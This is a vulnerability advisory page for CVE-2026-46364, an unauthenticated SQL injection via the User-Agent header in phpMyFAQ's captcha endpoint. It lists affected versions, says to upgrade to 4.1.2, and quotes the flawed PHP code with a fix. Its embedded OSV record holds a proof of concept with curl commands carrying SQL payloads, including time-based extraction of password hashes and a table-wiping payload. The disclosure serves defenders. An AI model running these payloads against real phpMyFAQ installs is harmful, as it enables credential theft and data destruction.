CVE-2026-46364: Thorsten/phpmyfaq SQL Injection Vulnerability
CRITICALCVE-2026-46364 is a CRITICAL (CVSS 9.8) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has unauthenticated sql injection via user-agent header in builtincaptcha. Remediation is available by upgrading affected packages to version 4.1.2.
CVE-2026-46364 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-46364
To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade thorsten/phpmyfaq to 4.1.2
Upgrade phpmyfaq/phpmyfaq to 4.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for thorsten/phpmyfaq
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-46364, inspect your project dependencies for Thorsten/phpmyfaq:
inspect dependencies for thorsten/phpmyfaq
Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-46364 Affected Thorsten/phpmyfaq Versions
2 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
thorsten/phpmyfaq
|
Packagist |
< 4.1.2
|
4.1.2
|
|
phpmyfaq/phpmyfaq
|
Packagist |
< 4.1.2
|
4.1.2
|
References
Frequently Asked Questions
What is CVE-2026-46364?
Which Thorsten/phpmyfaq versions are affected?
What version fixes CVE-2026-46364?
Is thorsten/phpmyfaq affected?
Is phpmyfaq/phpmyfaq affected?
What is the CVSS score of CVE-2026-46364?
What CWE is associated with CVE-2026-46364?
How can I check Packagist dependencies for CVE-2026-46364?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-289f-fq7w-6q2w",
"modified" : "2026-06-08T23:57:42Z",
"published" : "2026-05-06T20:49:15Z",
"aliases" : [ "CVE-2026-46364" ],
"summary" : "phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha",
"details" : "## Summary\n\n`BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x' OR SLEEP(2) OR 'x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink).\n\n## Details\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time:\n\n```php\n$this->userAgent = $request->headers->get('user-agent');\n$this->ip = $request->getClientIp();\n```\n\nBoth fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement.\n\n`garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`):\n\n```php\n$delete = sprintf(\n \"\n DELETE FROM\n %sfaqcaptcha\n WHERE\n useragent = '%s' AND language = '%s' AND ip = '%s'\",\n Database::getTablePrefix(),\n $this->userAgent, // unescaped\n $this->configuration->getLanguage()->getLanguage(),\n $this->ip, // unescaped\n);\n$this->configuration->getDb()->query($delete);\n```\n\n`saveCaptcha()` at line 330 does the same for INSERT:\n\n```php\n$insert = sprintf(\n \"INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)\",\n Database::getTablePrefix(),\n $this->code,\n $this->userAgent, // unescaped\n $this->configuration->getLanguage()->getLanguage(),\n $this->ip, // unescaped\n $this->timestamp,\n);\n$this->configuration->getDb()->query($insert);\n```\n\nFor comparison, the same file's `checkCaptchaCode()` at line 472 passes user input through `$db->escape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it.\n\n### Reachability\n\n`phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET:\n\n```php\n#[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])]\npublic function renderImage(): Response\n{\n if (!$this->captcha instanceof BuiltinCaptcha) {\n return new Response('', Response::HTTP_NOT_FOUND);\n }\n // ...\n $response->setContent($this->captcha->getCaptchaImage());\n return $response;\n}\n```\n\n`getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once.\n\n### Impact surface\n\nMySQL's `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can:\n\n- Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials.\n- `UPDATE` / `DELETE` arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, `User-Agent: ' OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users).\n\n## Proof of Concept\n\nTested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`.\n\nStep 1: Baseline request with a clean `User-Agent`:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n -A \"Mozilla/5.0\" \\\n \"http://target:8090/api/captcha?nocache=1\"\n# HTTP 500 0.147s\n```\n\nStep 2: Injection with `SLEEP(2)` in the User-Agent:\n\n```bash\ntime curl -sS -o /dev/null -w \"HTTP %{http_code} %{time_total}s\\n\" \\\n -A \"x' OR SLEEP(2) OR 'x\" \\\n \"http://target:8090/api/captcha?nocache=2\"\n# HTTP 500 4.093s\n```\n\nThe 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`.\n\nStep 3: Single-bit boolean extraction using time:\n\n```bash\n# leaks first character of the admin hash; 2s = 'a', 0s = otherwise\ncurl -sS -o /dev/null -A \"x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x\" \\\n \"http://target:8090/api/captcha?nocache=3\"\n```\n\nIterating position and character enables full credential exfiltration without any authentication.\n\n## Impact\n\nUnauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`.\n\n## Recommended Fix\n\nRoute both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement.\n\n`phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`:\n\n```php\n$db = $this->configuration->getDb();\n$userAgent = $db->escape($this->userAgent);\n$language = $db->escape($this->configuration->getLanguage()->getLanguage());\n$ip = $db->escape($this->ip);\n\n$delete = sprintf(\n \"DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'\",\n Database::getTablePrefix(),\n $userAgent,\n $language,\n $ip,\n);\n$db->query($delete);\n```\n\nApply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "thorsten/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
}, {
"package" : {
"ecosystem" : "Packagist",
"name" : "phpmyfaq/phpmyfaq"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.2"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.1.1"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-289f-fq7w-6q2w"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46364"
}, {
"type" : "WEB",
"url" : "https://github.com/thorsten/phpMyFAQ/commit/b9f25109fddb38eee19987183798638d07943f92"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/thorsten/phpMyFAQ"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/phpmyfaq-sql-injection-via-user-agent-header-in-builtincaptcha"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-89" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-06T20:49:15Z",
"nvd_published_at" : null
}
}